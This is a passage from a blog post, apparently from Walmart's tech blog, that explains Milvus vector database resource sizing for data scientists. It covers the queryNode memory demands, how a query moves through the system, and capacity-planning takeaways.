This is where the magic and the heavy lifting happens. These are the nodes whose resource allocation will most directly impact the application’s performance.

💡 Key Insight: The queryNode has the highest memory request (16GiB) for a reason. Vector search is a memory game. The more vectors you can fit into RAM, the faster your searches will be. When planning capacity, memory of queryNode is the most important metric.

The Backbone: The Dependencies

Milvus doesn’t reinvent the wheel for basic infrastructure. It relies on battle-tested open-source projects.

💡 And a bonus —

• attu: 1 replica, 1 CPU, 1GiB RAM — This is the official web-based GUI for Milvus. It’s a handy tool for browsing collections and running quick tests, with minimal resource needs.

Putting It All Together: The Lifecycle of a Query

1. Your app (via the SDK) sends a search request to the Proxy.
2. The Proxy forwards it to the Query Coordinator.
3. The Query Coordinator checks its metadata (from etcd) to see which Query Nodes hold the relevant data.
4. It sends a search task to the right Query Node(s) via the Kafka message bus.
5. Each Query Node loads the necessary index/data into its massive RAM and performs the lightning-fast vector search.
6. The results travel back up the chain to your application.

Your Takeaways as a Data Scientist

• Query Performance is Memory: If you need faster searches or want to search over more data, focus on the queryNode resources.
• Ingestion Throughput is Proxy/DataNode: If you’re struggling to insert data quickly, you might need to scale your proxy and dataNode replicas.
• Base Configuration is a Starting Point: The config we reviewed is a solid, well-provisioned starting point. Your ideal setup will depend on your vector dimensionality, the number of vectors, and your query-per-second (QPS) requirements.
• Speak the Language: Now, instead of saying “search is slow,” you can have a more informed conversation: “I suspect we’re hitting a memory ceiling on our queryNodes. Can we monitor their memory usage and consider scaling them up?”

Hopefully, the resource requirements for Milvus looks a little less like a mystery and a lot more like a blueprint for your Vector searches.

References:

· https://milvus.io/tools/sizing

· https://github.com/zilliztech/milvus-helm

Demystifying Milvus Configuration: A Data Scientist’s Guide to Milvus Resource Requirements was originally published in Walmart Global Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.